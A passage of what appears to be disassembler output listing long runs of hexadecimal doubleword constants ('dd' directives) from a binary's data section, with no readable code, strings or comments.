0E100B668h dd 0FA67BEF2h, 3C230A2Fh, 480C68Ch, 6FE77345h, 8D5CDDD8h dd 79284C64h, 9F811F07h, 3BD039CFh, 0DA18A5h, 0FE0A55F8h dd 7762FB2Dh, 9CF75Ch, 17AF431Bh, 7AC31A81h, 3D45007Dh dd 27B774AEh, 9F1D67CDh, 118012CEh, 66E81AF9h, 447184h dd 57DE4390h, 0D7F86AA5h, 69A25105h, 0D80017BAh, 9132687h dd 0A1280035h, 0D077E80Bh, 81DCE7Ah, 6BC3EED1h, 0D0393EDAh dd 0B3EC92h, 480565DEh, 0D70325B9h, 84BE4F00h, 0C6B42436h dd 0C08200C2h, 0E5DAB2E8h, 8EC0F57Ch, 92B3E085h, 72C30060h dd 917EB439h, 48003135h, 9F966C53h, 7A2D7D2h, 69450768h dd 2A645019h, 0F00E205h, 0D03A5FF2h, 89316Fh, 731126B0h dd 4462DE22h, 2EBD1A0Eh, 9B41806Bh, 0E52557h, 4A2430E3h dd 0E9271084h, 2E65BD00h, 0FBAC9901h, 350D2E38h, 51AB8068h dd 0CFDB5CB4h, 55166CF6h, 0DB001181h, 0D43B16A5h, 22CC00ACh dd 3F1EBE32h, 0FF004740h, 18B8A063h, 7F68E82h, 8B879CF7h dd 16AE01Eh, 44019011h, 6C491DF0h, 84722FFh, 18557870h dd 0DC400084h, 0E0AA104Ch, 5E606047h, 0C138DE91h, 94561D20h dd 0B8FD4055h, 405FE369h, 10A16032h, 0C3E4EB4Ah, 8EC5C0C9h dd 0B29C091Ah, 0D20012D4h, 2F3D4926h, 0D1DAC00h, 0EEB87250h dd 0E9C0002Dh, 0B6BDB5A2h, 161D629Fh, 46CAEA37h, 10004099h dd 5B2CE095h, 72E5A094h, 1C850FAEh, 7B878DE2h, 3924A196h dd 0E448CDA3h, 4506E627h, 54BD3FE5h, 5EC60590h, 907FE18Bh dd 6B48402Ch, 5AA30A0h, 5C02E9FCh, 0E2E5E0E4h, 0C0148075h dd 1F1EB78Ch, 0C9D903C2h, 835ED3BFh, 9A80861Eh, 0A231C02Ch dd 148FA26h, 65F35EB3h, 60C92D21h, 0AA00AE08h, 54831DFEh dd 2C6846h, 0B993729Fh, 0FD6CFC80h, 153E6400h, 0EC8DB38Ch dd 39ED00F4h, 9B4BC1A8h, 980E7613h, 0A3129177h, 8070D13Fh dd 704D7F9Ch, 0E12E39E7h, 0F8E38A00h, 3D79385h, 6D4ED300h dd 0C143BCD5h, 0F0481859h, 0B9611A04h, 30ABBF26h, 1B3CBD80h dd 0A086372Ch, 749E1EACh, 21AA6090h, 271C6EE2h, 0F7B24607h dd 0C8E1A8DFh, 1960A5DDh, 21FD009Fh, 0E5357C5Ch, 0D201F996h dd 0EC34E63h, 0A050DC07h, 16D2FA0h, 0C21AAE79h, 9602B55Dh dd 0AC400408h, 76D17F5h, 7A5F0180h, 0A9D6F95Eh, 0C4808398h dd 1DC356E4h, 1A5F7F58h, 0FCEB2038h, 28CD073h, 37301BA0h dd 12169066h, 1C72DEh, 0BE75FC4Bh, 0E103D16Ah, 595B84CDh dd 2A34887Bh, 749D0D33h, 2069DE39h, 5100E8D4h, 34FD1960h dd 0E8FBE148h, 49E40D4h, 9DE81307h, 7AA36DEBh, 7B000DCh dd 0DE332616h, 0EA3F52C1h, 6FA00336h, 94962741h, 0E0019D07h dd 0A5AAE59Eh, 0A8A1E107h, 3346E0F5h, 0C6A30021h, 8E5BA99Ch dd 0FD1822F7h, 0C249D38Ah, 0A2023052h, 0B981A610h, 2FF83400h dd 2193E88Bh, 71FAFBh, 9AE0C9B6h, 0F232D8A6h, 5720E200h dd 6A139FFh, 898A000Eh, 0A46BF5FAh, 6C0FE4D8h, 802A15ECh dd 0A72196AEh, 173700B2h, 6EEB4677h, 8400927Ch, 0FB580A53h dd 0F65D689Eh, 0E72F00AEh, 0CAC09D4Dh, 0C275FD4Eh, 25E5CF03h dd 90A253FBh, 61CC5h, 97F3B7BBh, 0C3FC3836h, 402B7400h dd 814A90AEh, 937A0F49h, 0F2E1CE89h, 9FBDE707h, 0C100F930h dd 0A6A5FB17h, 395807E0h, 0E029527Ch, 8FB673C6h, 1AEC184Ch dd 6030CF5Ah, 39BD1AAh, 3B5EB53Eh, 0BCF0CDDBh, 28CF2D40h dd 60DF8E52h, 3B46E139h, 56CB006Bh, 0FA37E911h, 3F4FB908h dd 6800B0ECh, 75C9F7Ah, 0BB0FF2F0h, 6ED9F937h, 107DC08Ah dd 143CF1DCh, 40F3B4EBh, 0BC3E4F80h, 6D00331Dh, 38503FF8h dd 40DE6F1Fh, 8A1F6AF4h, 0E8DCA7D0h, 0E5CB5340h, 11CEBF3h dd 459FA04Eh, 50C421FAh, 0CB386E80h, 7369C300h, 50830F9Dh dd 5F433D7Bh, 1C4ED9E0h, 16012DF6h, 511AF874h, 0B570F7E0h dd 0F0FA625Bh, 0C0A0EFFEh, 3644C4B4h, 0A4E85100h, 0CE9B7A38h dd 11461873h, 0B5B19209h, 0DC9878C3h, 4B7AE813h, 0E5AE001Ch dd 7B8910ABh, 8F0A722Fh, 9C57DC1Bh, 0FA99AF00h, 1FDB515h dd 67883E5Dh, 0F04F2E0Ch, 0F700DDA2h, 41528A63h, 0E8B15A3h dd 75BE44DAh, 786BFDC0h, 9FE2A267h, 809829C9h, 0C04BF4EAh dd 58D70007h, 27D48B32h, 401E3A3h, 8A62AD4Ch, 7A817A14h dd 6BBF09F2h, 0B376E0C6h, 5D8D890Eh, 62F7618Ah, 5980A1C1h dd 0DCD68F36h, 0E50009DBh, 0AB3A709Fh, 37721FE4h, 0C048882Eh dd 1DF39277h, 318CA0A0h, 5B71958h, 74C620A1h, 80773008h dd 0D56818DEh, 88013C69h, 0E9C4254Ch, 0CBCC946Fh, 0E8E70078h dd 0C379F691h, 19C17A61h, 8AAFF772h, 1006F910h, 0E78D3E1Dh dd 0B08E6F8Ch, 8A083ABBh, 129B973Bh, 0F3E076CDh, 450FDA7Fh dd 402B8F21h, 419B0C2Dh, 0D1B4008Ch, 84E19CCDh, 80957E01h dd 3E26360h, 0CB120E3Bh, 7DE06D36h, 7E055C5Fh, 0B1A2B800h dd 821D855Eh, 2BD00BAh, 24D28141h, 3A00D4E4h, 209F4EB9h dd 0B25C72h, 0D164B025h, 0BF74E65Bh, 79C77E03h, 0A3C9AD38h dd 73210EE4h, 5140E613h, 0A9B33C0Dh, 2B006B98h, 89BF41C0h dd 78321BAh, 0BDD4B163h, 81254064h, 8200CA95h, 62EFDC29h dd 0D37850Ah, 0E33C2BDAh, 0B0298040h, 0C77C0477h, 92BA068Ah dd 2082325Bh, 20B8CE06h, 297A03h, 73E54BC4h, 0A7783BBCh dd 7974F573h, 20C0B8EEh, 5E5A3B9h, 0DC6700A4h, 3065273Dh dd 91E6436Eh, 0AAEF3B18h, 0BDF558h, 0C8D9921Bh, 0F053ABB7h dd 80DA4530h, 1F51E2EEh, 401AC209h, 6F5A77D6h, 3717DF7Ch dd 8D1DB976h, 0AAC5AE03h, 63C0984Bh, 0DC3A005Bh, 0B0FBCDDDh dd 0E6011A6Ch, 6338FB7h, 0B02E535Ah, 0D91C748Ah, 84C0A559h dd 0D7D65245h, 0FAFB0008h, 2429E586h, 0A64C2D6Fh, 4B4600BAh dd 400C7D2Ch, 5F850034h, 11613791h, 89EAE8AFh, 9000D2ECh dd 10077422h, 77B5F0h, 24EA58FEh, 1198600Eh, 807C863Ah dd 0BEE0A347h, 4FFCF8h, 6DDD038h, 690E21E3h, 632E9D00h dd 1388AE3Bh, 487A00F8h, 0C92899BAh, 9A3CCAD7h, 27B300F6h dd 665F45A6h, 983204C7h, 80E1DEF0h, 0E7D393F6h, 8C838638h dd 88B635Ch, 2421C0E2h, 0CB9AD299h, 0A7F76801h, 5F46C5C3h dd 0AE073C0h, 0E3493B15h, 0A6430383h, 37D8271Fh, 0F2FE7255h dd 49DB1731h, 0CAF46CDDh, 11C1608Ch, 68593BBEh, 0FC7D4401h dd 35754BF0h, 0C0E2D3D0h, 56628120h, 1D003332h, 0E9F5EC65h dd 60AC023Eh, 0B6435899h, 0DD01196Bh, 1A623D37h, 68F01815h dd 90EC33DAh, 0A2E13E70h, 5918804Eh, 0BF178DA1h, 281A00FAh dd 0C9C88C26h, 8B755AB8h, 6C7B7E00h, 30565743h, 0F6C100C0h dd 65F32ED8h, 110014B6h, 0B9CD61C4h, 412001h, 53795762h dd 7C637A0Bh, 0D2F53Bh, 0AF7487A4h, 0FBC6082h, 14BD4ACh dd 0A1779700h, 7B003399h dword_562194 dd 0B28F6795h, 0FE1CC7D8h, 214307A8h, 903A14E1h, 74E4C6D2h dd 9CEC3300h, 3937BCAFh, 7A833EB4h, 8A5A100h, 6EAC5F09h dd 4EB69200h, 6A736C2Eh, 0FCDE180Ah, 0A6110876h, 77DC20C0h dd 1D15042Dh, 408299C0h, 6A0610E3h, 0BA1C7419h, 4142354Ah dd 0FFBCB14Bh, 0DB26B101h, 6C9EDCB0h, 44AC6203h, 3CDD8B8Fh dd 0CE025650h, 38471599h, 0EFB8BD60h, 30B69A3Ah, 3CAF21A6h dd 0E9BA0F15h, 98CFC167h, 2C5872E0h, 13186D92h, 7960DA7Ah dd 0C6D80A5Eh, 568E47Ch, 200CA5A0h, 0D02E4A70h, 0C38A743Dh dd 880A7E22h, 0BCF23C73h, 62B3C300h, 75F70FDh, 0CDB94758h dd 6F38339Dh, 0DE985100h, 54106DE9h, 0EE900A74h, 44AC9FD7h dd 2E4B6009h, 22741077h, 8084C80Dh, 0E3C7089h, 0FB79A5C7h dd 14A9733Ah, 1CA4481Dh, 0D64C7CC0h, 0B251A7h, 6408ECE7h dd 11A9999Fh, 0D908A066h, 0E6520021h, 2E33D5ECh, 3C0A6F42h dd 0A872B913h, 0B5AE300h, 0B08FD49Eh, 34B80739h, 5ABA965h dd 919801E8h, 809EB44Eh, 0D7E66EC8h, 16EEAEh, 0F6B63618h dd 11DF5BFh, 80759239h, 8F734EF1h, 9A1C76h, 70E1ACEh, 0E10DC685h dd 0A62E3918h, 3F18091Ah, 800040D8h, 7C9C97DCh, 96F65CA5h dd 9E14E600h, 0CA2CF94Eh, 0E3D017Ah, 0D016CDC0h, 0F69E8002h dd 0E9A4385Ch, 7DC9000Ah, 0D191E104h, 0FBF23B71h, 2361E00h dd 21261DDBh, 50CF00A9h, 8A73D99Ch, 70001511h, 9E5DA8C7h dd 0EBACE5h, 0BA4DA4A3h, 0A93943BEh, 66DD3D00h, 958A497Fh dd 3FE7679h, 963CDC01h, 6BA02A81h, 130F5A17h, 3E0BD6CEh dd 0BD005E1Eh, 75D5B219h, 29740784h, 402F6EA1h, 34F007D2h dd 819A6300h, 518026DCh, 97443174h, 80951450h, 31CE7A59h dd 6D9982h, 59C9D5E1h, 368E1869h, 9F091018h, 7D95329h dd 0C95ABE34h, 92890133h, 0BB83E964h, 27E49D21h, 84F56030h dd 36BC3195h, 850B7211h, 0D5F42A88h, 0BEA28780h, 0CAFD13A7h dd 0CB4B0064h, 96BD5D1Eh, 86DF0503h, 3CC6F4h, 6A162FC8h dd 50459C2Dh, 4E054800h, 28469FBh, 7FD0072h, 0E2BDBB59h dd 400DD85h, 0AA549C09h, 76BF962h, 89037A53h, 33E4F1A3h dd 802FC123h, 0CF0B97B0h, 50BD6Fh, 0D30F0730h, 79F26787h dd 3206367h, 0C7D128F0h, 0F5BD01F7h, 4D49D445h, 849143A0h dd 0B080A9E2h, 924416AFh, 0F157AE30h, 63E6E445h, 90FFC022h dd 3A285103h, 88C214F1h, 0D78548h, 0CCD95E9Dh, 0E4094BDFh dd 2FEAC700h, 0C23E1E7Eh, 0BFB93826h, 47336080h, 0C422D92Dh dd 8F529E0Fh, 0C75540A4h, 5C1AEEh, 969D6509h, 499BB792h dd 0D9930500h, 314CB233h, 0FB101B55h, 91C03030h, 0AD18FE51h dd 0E010540Fh, 0B08C0718h, 80C6ED67h, 77DB319Bh, 0CA638900h dd 30B35415h, 464E0199h, 3965248Eh, 6794E049h, 7526D301h dd 82C2663Bh, 1E6AD860h, 40AB9EB1h, 0E247BE04h, 4A00E143h dd 52E6CC99h, 3B0263h, 67852550h, 440965EEh, 4B42A100h dd 0D5F6F21Ch, 626F012h, 30A603F0h, 3C00B94Ah, 0DA4E59A3h dd 3B7B1CDFh, 1630E84Fh, 0D9F9E020h, 4B9C8118h, 1EF3FEF0h dd 8052F829h, 98037E93h, 0AD0068AFh, 41D896C6h, 0E50520h dd 4088BC22h, 0D5F31619h, 950044F8h, 0F09FE8B0h, 67370Bh dd 3123DEF1h, 0BD845B69h, 0C50EFDFAh, 80FEA4E5h, 23DF0DD0h dd 5BF012h, 46E478F9h, 28D606F3h, 2A827E03h, 0F6E8EBAFh dd 0DAD10048h, 0DD2EC0Eh, 0BD00FF74h, 5BEB7336h, 0F06A889h dd 0E0DC55D7h, 8D1F5440h, 0B161E528h, 251A683Eh, 81D09891h dd 0B8A15B70h, 4C13B871h, 8321000Dh, 0AADD5BA3h, 4800D18Bh dd 0BD8137D5h, 0D8E0FA6Ah, 0D2ADC090h, 9916B637h, 32B98380h dd 958E03C9h, 7D6ADD84h, 3BC240AFh, 0CE00DF0Eh, 96C94A61h dd 242A910Ah, 18EDB877h, 84435150h, 9EE76705h, 0A80F8118h dd 478CC076h, 73EA3D8Eh, 1B5C05BEh, 50F40AB6h, 9009CE8Ch dd 1E007E84h, 39E733Eh, 0B0A0EAE8h, 0CF00B4D1h, 0C3529390h dd 3BE6E15h, 51B8019Dh, 0AA00FE1Ah, 793D07E3h, 0F4AE345Ah dd 0C99C00D2h, 1F86DCD8h, 9200D346h, 8A3E7EF0h, 168C85h dd 5478BC69h, 102E0317h, 2007DE0h, 3412EE31h, 0EA30528h dd 0F9E7D1A1h, 74F85560h, 780036D0h, 294C97D4h, 3BD375h dd 11633A1Eh, 3E69E2C3h, 0F713B100h, 540B17B3h, 0AA7C1FD2h dd 925A804Dh, 4B7991F4h, 0ECC9F02Ch, 30470900h, 0F240F7h dd 20BF506h, 0C468E44h, 0B12E20C0h, 1917708h, 0AF564559h dd 606F216Ah, 0F400AA98h, 6E1A6D5Eh, 3728967h, 0FEC72E2Ch dd 5FA32B26h, 0AFDC5BC8h, 8F1CE239h, 80144740h, 0D3848591h dd 1D0130FCh, 25AE5828h, 4490D402h, 80A43562h, 0BF4D00Ch dd 0E81000D9h, 4EA28BB4h, 0DA00EF86h, 20D82D73h, 1FE809Eh dd 41A8A6C7h, 0FCFF757Fh, 4CF016C0h, 0A0C44930h, 7185F081h dd 2D7400D3h, 0C3471CEEh, 51077F34h, 9EDEB1C5h, 2ACA93h dd 2D0F8278h, 93FF0658h, 0D4D19C00h, 0D2567267h, 1BCA0281h dd 41B6A6DAh, 0B0E541E0h, 0E6B5D01h, 612FDCA4h, 0BC79C40h dd 914F3E81h, 0D18E6C84h, 0D98BC60Ah, 0AA18C3B0h, 4910129Eh dd 95DB0151h, 831ECFBh, 0F8A04030h, 0A400056Ch, 0D69AB004h dd 3F3B4DFFh, 0C189C945h, 0F2804119h, 0DD4CE447h, 4FE81760h dd 0A70E01h, 0E9928DEBh, 0D1F721F1h, 1BC9B91Fh, 0F2F028C0h dd 0F63C8FDAh, 72B00227h, 0B8750C45h, 0D5C6E057h, 50660095h dd 8EC35DDFh, 1A003BB7h, 0A8F9412Ch, 573724h, 0F3149042h dd 0FFA004D3h, 4DD21A00h, 0A58541F5h, 0A9BE00FCh, 825B1019h dd 5E00B4C1h, 51EC8E9Eh, 631389D7h, 0DDC41808h, 20F14BD1h dd 48F0C5A3h, 61AD9C00h, 73FA08F7h, 857E00B6h, 63927657h dd 0C37F100Eh, 8F179400h, 2A037EEh, 6DA21FF7h, 78E7D8F1h dd 0C888E4A1h, 0A6AC0136h, 401F2C55h, 0A8F886F3h, 0C171D7h dd 4B38D507h, 2DF14D3Ah, 0F61EFA03h, 0A9690B87h, 86817E75h dd 0F9A9BC9Bh, 49B88106h, 0A8D23D79h, 0E2F32F0h, 587E400Ch dd 56692860h, 0DE7C35CBh, 0F8077B77h, 0EFE6A3Bh, 0F7988980h dd 0A7540E91h, 409F9765h, 99A1DA8Ch, 0DDF49FA0h, 873D8874h dd 0CF9407B3h, 54C08C61h, 1E83AF23h, 3935C22h, 0A05D6269h dd 16BA4002h, 60F8B871h, 3C8D5284h, 14803644h, 0A841F09Ch dd 960CFBFEh, 40828F02h, 0EAE7B76h, 9A84F863h, 0F3336480h dd 6B015767h, 0CC399415h, 7880A1E1h, 0CDC3BB2Ah, 0EE1DE569h dd 920095F2h, 9AC44AE3h, 2970A4Ch, 5B2C229Bh, 94B021E8h dd 0E5ABA8C3h, 0B1F00626h, 0C163C57Ch, 0B7A74B00h, 9D1068AAh dd 4E2C0D93h, 0C4F86679h, 0E2051B04h, 9549B322h, 0C5449840h dd 0E6F7D834h, 768E003Eh, 0F0D14FF6h, 0BA002183h, 8D33F431h dd 0D8C254h, 0F984428Eh, 86931C6Dh, 0EA194B73h, 2D70289Ch dd 2452F8C1h, 19EE2E96h, 3D8CCD20h, 2F51BEBCh, 0CA520D0h dd 0BA81B9C0h, 7F128D23h, 89AA2451h, 7F2E028Ch, 0A4817687h dd 0C7CBA54Ah, 7B6985E0h, 333CB000h, 0E4101858h, 190007Dh dd 960737D9h, 0FD0013E9h, 0EC5E2A7Ah, 1435689Ch, 84692DC8h dd 0A227EE00h, 0C079EDB5h, 2ED4A402h, 8CC77F77h, 0CE68BCh dd 0E0C467E1h, 73060914h, 24A96500h, 0A73E6D2Eh, 0C6771FCEh dd 79E60BA6h, 44878Ah, 0B77F3835h, 93036154h, 0BBD18414h dd 0BFE0059Eh, 0F8A49D94h, 0B28000DAh, 0C4882A7h, 5A4702DAh dd 0AD8E4A12h dd 0AC811448h, 0EBE07500h, 39FBDBC0h, 0FD94013Dh, 48521501h dd 530BB53h, 25C8147Dh, 64E414h, 68550BC5h, 7DAD0E93h dd 0D2F694h, 43893022h, 1B2D8E96h, 1166EB30h, 0D3B972h dd 3D8A6FE9h, 2E344F26h, 0ABCFA300h, 2A5A701Dh, 0A8D100C6h dd 5937C9Eh, 0F90313CEh, 3F926516h, 6297EF4Eh, 5CA95A11h dd 5D6DECh, 9287AD7h, 60D82ECh, 0C0123705h, 6BC0AD23h dd 7EA2AD4h, 0D0C37A88h, 6139B01Bh, 0ED00E86Eh, 35C7C6B2h dd 37EB40h, 0A49AFC11h, 30CAE0ECh, 43719100h, 0F724621Bh dd 0F38008Ah, 7761758Bh, 0C40F4694h, 736B439Eh, 0FFAD00FBh dd 0D863B9B2h, 6F267600h, 31EC705h, 6CD03BD9h, 4D7C3000h dd 8516E9BBh, 0A0D7F001h, 7D4B54CBh, 0DE33288Fh, 7FED3FE0h dd 0FC1C9FEAh, 0C680FAA8h, 0A7BE789Dh, 31CF1555h, 9B1EA8E0h dd 9E07BA67h, 5BB78Fh, 6A1D48F0h, 55F2EA00h, 0D0ED0B42h dd 58430086h, 0D11697ADh, 0D703E621h, 7224ABC7h, 9E19F18Ah dd 0A1F64880h, 42DB507Bh, 16622600h, 6F08A006h, 411C2889h dd 2E7AECE0h, 0CEA2B5h, 366D1EE3h, 5B0011AFh, 5ACC4F49h dd 0F7EB0F4h, 960C8D72h, 6ABD2160h, 0F1000E43h, 0F54ABB44h dd 1919809h, 33DC37FFh, 0D7E2AD18h, 0EE8EB8F8h, 0BC668C00h dd 6594D530h, 2C6D008Ah, 55F0F3B6h, 214BDF5h, 4E05AB3h dd 0D0DD4948h, 7919BC0h, 0CFE700A7h, 0D36388AEh, 5008595h dd 9AB52078h, 0F52C874h, 0DBA8033Ah, 0F9623600h, 0DA00615Dh dd 4EFBB0EBh, 322ECCh, 0D47F5285h, 1016F3A0h, 80E5452Eh dd 3A5AA100h, 3E340FDh, 49FB60F6h, 7DB072BCh, 1F003829h dd 0C66D68C0h, 6410F9h, 0CC6C1509h, 67A8E330h, 80AE4F3Eh dd 71893742h, 1F0178Fh, 0ECABF80Fh, 807EBEAFh, 76FF647Eh dd 0E1110Ch, 0A050BAA2h, 1795EC04h, 62124BFCh, 0A840059Ch dd 78D146B5h, 0FA9A00B2h, 0A00B71EAh, 0D6008723h, 603B1C47h dd 0A4F10Fh, 50B0E05Bh, 447DABE1h, 75B82700h, 5F249C5Ch dd 0D0E8F7D6h, 0D4E049EDh, 200414Ch, 0F6D2F2AAh, 0A477EEC4h dd 4B3511Fh, 153D68C0h, 57DBF0h, 3E54108Ch, 5ACBF1FBh dd 3D892E3Dh, 4D6B00A4h, 0B76C0A79h, 247B034Eh, 0E1539AB6h dd 0DB01F1B0h, 0C3D1424h, 95CEFD00h, 39649E74h, 0BC00FE52h dd 37809D2Eh, 34380EF0h, 93B680E6h, 26AC2901h, 88B00A6h dd 51C95590h, 34099F40h, 8922C83Dh, 2E005F5Ah, 4EBBF4EAh dd 0D9FBF102h, 0E0C3CAB8h, 1DC2B48h, 137A8DA4h, 21848A75h dd 252C4084h, 504844D7h, 0DB930064h, 0EB35925Bh, 5882004Ah dd 0FB2A5CF6h, 7F076EBBh, 59C5A581h, 0E1F2E550h, 0A2AB00BEh dd 94B89EE9h, 0AA1D17CCh, 80FC9AD4h, 57441D3Dh, 0E21AC38h dd 0FA34880Ah, 0E7F39780h, 54003B85h, 0D18677ECh, 90FFB8Ch dd 751FF1F0h, 0CEF50000h, 0A307EEDEh, 0CBACE444h, 0E6A004Eh dd 0FB1778h, 91C550EDh, 33DDD06h, 0E4879900h, 1A2B62B3h dd 40100EEh, 827039A4h, 0DAE0A2F3h, 0A6C3D500h, 0D667E61Eh dd 989763D7h, 39D87B1Dh, 0DE0163AAh, 0F7FD07B9h, 1187DF12h dd 10040D5Fh, 5C9DDAE2h, 0DDE7CB1Fh, 7B184000h, 0FF3CFF0h dd 6EAFCE91h, 8025A047h, 363BAC6Ah, 0EB427900h, 92F2B246h dd 0F61F0170h, 51D40B0Fh, 304AC9FEh, 2424793Ch, 0BE07D887h dd 5710C578h, 903CF975h, 0E7FA0114h, 16EB63A7h, 5102030h dd 0DD62F61Eh, 1AC081BCh, 0A0568210h, 4123830h, 0F314A8D9h dd 9674C0FCh, 0D4492291h, 4D084898h, 0DC680210h, 63C5E63Fh dd 8059FF61h, 2802BF0Ch, 0DE6F0288h, 0B6EAD20Ch, 2D3D5044h dd 473780D0h, 2F98FC46h, 67000FAh, 25247166h, 0DB01E2E4h dd 0EF0CE175h, 0D8244C87h, 408886D1h, 8712CD76h, 9443A235h dd 0D0A07053h, 531A4E9h, 4C179D93h, 0C6E4079Bh, 6C1BD03Ah dd 3EE6E536h, 58EE030Fh, 8C0240BCh, 6E91C3h, 0A4AD78BFh dd 421F86C2h, 70123500h, 4DBD3B66h, 0C86D0E82h, 0E7A7D2A2h dd 3EA4E059h, 6501C66Ah, 8B1BF1F9h, 0CFF49C6Fh, 0B9F5043Bh dd 0C144815Ah, 242F8E0Ch, 0DDE4EFCCh, 0D45FAC01h, 55067684h dd 0B43FC8D7h, 49E900AEh, 165AF298h, 0D600F42Bh, 88D5557Dh dd 98D131DAh, 0A4A80EF1h, 0A0E0031Dh, 443BFF22h, 20172100h dd 0EBBFEE27h, 7BD001Ch, 0CB8AC248h, 0F1008CE4h, 42643C68h dd 30FAE2h, 0D3EEE6ADh, 61111BE3h, 0D6CD160Ah, 7800AC1Fh dd 1AA2BCA8h, 6608012Eh, 161C170Ah, 0C9E450ABh, 2C9044E4h dd 88003677h, 7EF002C4h, 36E1704h, 7595E767h, 57D827A5h dd 7D2CFE31h, 0E080905Fh, 5935D6B3h, 5BD48FAh, 23FEA204h dd 7DA0D0EBh, 9200A8E8h, 7B021748h, 0DAC813h, 0DC35105Bh dd 0BE9D4442h, 2F8F2B13h, 5A4BC061h, 37D4E300h, 92CF5000h dd 0D19A1BD9h, 532700B1h, 0A8D57DF5h, 0A700A50Fh, 94228D59h dd 24C720D2h, 602CAFC6h, 63AB0946h, 0E9AC3200h, 0FB9B4781h dd 0AAA03B0Dh, 531ED980h, 64612CD1h, 0A4E32A1Fh, 5F01DEAEh dd 0AB27715Eh, 398797ECh, 0C980E288h, 0F22E2803h, 3BF2CFBCh dd 61DF271Ch, 0C3E39DBCh, 30C17083h, 40CDF229h, 405A2Ch dd 25EE9014h, 0CBA2E891h, 0F17C3DE0h, 95291E00h, 0F74BCFBFh dd 0E2F27Dh, 0B833761Ah, 942DB287h, 0F37FE500h, 1302EFA0h dd 8A5300D4h, 0FFC3056Eh, 32000674h, 0CC01A470h, 717584D0h dd 0DCD81439h, 2F2CBCA7h, 8A32D8A0h, 0E0082485h, 0A249196Dh dd 0DB0E6414h, 0FCCE01C0h, 3CA2947h, 52011466h, 0B2A01DECh dd 0D4246195h, 8824C1E0h, 69001449h, 0E4F8C2Bh, 0CCA103D4h dd 0CDEC7744h, 0B8A87900h, 5A6D3C41h, 20246A19h, 1F801D48h dd 0A64FC905h, 204884A0h, 0F217E9B1h, 0E046771h, 8880E2C9h dd 7E0A6F0h, 98C2D10Ch, 0DCE9106Dh, 900A4BBh, 0A3F5126h dd 935D2EDh, 6D0B9E05h, 14490480h, 0BD032D9Ah, 0B642A22Ah dd 0ED5EA89Bh, 13960EDAh, 0F8B8CF34h, 0F3F2F9DFh, 0A5282B60h dd 5A66EDh, 0E4EF22E2h, 8D952508h, 38920E00h, 0DA450610h dd 86972455h, 780962A8h, 0C582BC68h, 62B8E160h, 1C7E8DBh dd 0C2D6FBB1h, 40710739h, 616B23CCh, 0C57FEB01h, 25315FCCh dd 5304DC33h, 9060AE02h, 6B0999C4h, 27C49B0Fh, 0E91D0FDDh dd 74AC1671h, 0E8F1837Eh, 75CC22A7h, 0A562E700h, 9482FA24h dd 7E9F003Fh, 0F606EA78h, 2D007DF0h, 36C9CA07h, 0D7B31Dh dd 0D52EB4E8h, 0AFCBEB3Ah, 25462E3h, 76D2CC5Eh, 9E3CA430h dd 0C9B04087h, 8C7948h, 12B93A95h, 0EBC074FAh, 0F4256F00h dd 0CFF796C1h, 0B47C0FADh, 6920A344h, 3EB5C9CBh, 310223Eh dd 65BA9015h, 0C79F98EFh, 0CAAC07FBh, 70C4F442h, 3B217B19h dd 35C5CB00h, 0AE889F1Bh, 0D2763F2Bh, 80CCC328h, 7BEDBBh dd 41854FF5h, 0D73CB945h, 0B4A34000h, 0E468F684h, 281F1D8Fh dd 9103FE51h, 0A21582A5h, 327535D0h, 8E425603h, 90627F44h dd 11E5C11h, 0B4E1672Dh, 0C4A63331h, 0FF01783Ch, 970DF7C6h dd 0E243EE51h, 0F9928018h, 765D021Ah, 378E272Eh, 9A004058h dd 3B0CAD3Fh, 7A0819FCh, 799E3A8Bh, 0F84DFD82h, 3051384Bh dd 2751400h, 0EFCE054h, 1AA83644h, 0F39A5140h, 7700AECAh dd 2AED1FB3h, 1FDBD404h, 0C6AFDD73h, 11D8F7B1h, 6F878407h dd 0A08ED002h, 0D52D58DCh, 0A1C82619h, 0E27380E0h, 249ECBF4h dd 6D676902h, 0C0257F6Ch, 78169DE4h, 0A4E63057h, 146D4611h dd 0FF00ABE0h, 0C94AA954h dd 3D5387Ch, 913445E8h, 81C0D7A2h, 3058B5Bh, 84B860B4h dd 4FF03380h, 361409E4h, 8057E11Eh, 8B3FE201h, 8503004Ah dd 35C7AC80h, 2F056760h, 879CDF6Dh, 0E6EF28D0h, 782B004Eh dd 69AD969h, 0BB199076h, 1968E0EEh, 390CCCh, 444D6699h dd 7F1E8A9Bh, 89540812h, 5DD67C81h, 0B8CB2843h, 7428EC2Ch dd 0E5F914C9h, 0FE08144Dh, 0BB00DC7Ch, 91172F92h, 0AF5C13A0h dd 40F71FEAh, 42F38435h, 933FE196h, 2F4F0033h, 3A5305C8h dd 1A0C0002h, 3DA38E67h, 0D5074314h, 8E75F39h, 27407CE0h dd 964C018Dh, 0EFDE6D31h, 1FF5D4E0h, 0CE4E3B00h, 4F7A43BBh dd 514A00A2h, 250A2A7Dh, 0A1C09041h, 16473DC8h, 48A3006Ah dd 83A0191Bh, 0F000FCD2h, 383513ADh, 30E559h, 32B2F4F9h dd 4521778Dh, 9319BE01h, 96BA643h, 8E552840h, 185CF24Ch dd 0D89C7933h, 0EA48ABA7h, 845C50DCh, 69BC7B00h, 40A939C7h dd 0E4710C0Eh, 0F121EAFEh, 7974DA00h, 0BC33EEA6h, 34010018h dd 0AFE1155Ch, 0EA1E13DCh, 0B10045FDh, 308E7588h, 0F2D60087h dd 0D7DF6E37h, 1800048Fh, 5042243Bh, 1E10EB68h, 1886705h dd 0E5CF9E7Ch, 0EE2C4D8h, 6493F3A0h, 0D898302Ah, 1B01E49h dd 0CB05BDB9h, 0F6DBF21Ah, 0C7E700E1h, 0E1045B67h, 6C020B48h dd 3539B85Fh, 0A5F340F0h, 0EBBD90A2h, 0E276BD30h, 9625038Ch dd 0FBFCF343h, 5EBE6FC8h, 0C0026EAh, 71BFFAB1h, 877D21h dd 44708337h, 13310F2h, 0D4BD4100h, 62FCF1B7h, 84D61DE0h dd 94ED0266h, 0CEC1D216h, 9A8E20BEh, 48599D00h, 0B11E314Ch dd 471900CEh, 0CAB814EEh, 0D7F84EF3h, 62FB5200h, 9F717B61h dd 0C03900FEh, 530212B6h, 0ED6E1331h, 18F8E120h, 0D33AD9h dd 16644010h, 0A9FC7A92h, 2D0C3779h, 31112360h, 8DB0BBh dd 4857A7B9h, 101972B7h, 8F1F3498h, 91FC6B3h, 6D46019Fh dd 18DEB5h, 99EE2BD3h, 2E150C7Dh, 144EA318h, 10BC250h dd 0FDB90EB3h, 0C1E18112h, 36DDD013h, 723D90C3h, 2F9188B3h dd 848F0051h, 3B95554h, 0FA0079E2h, 0FB564F5Dh, 600A8E7Fh dd 3B93880Fh, 0C103549Fh, 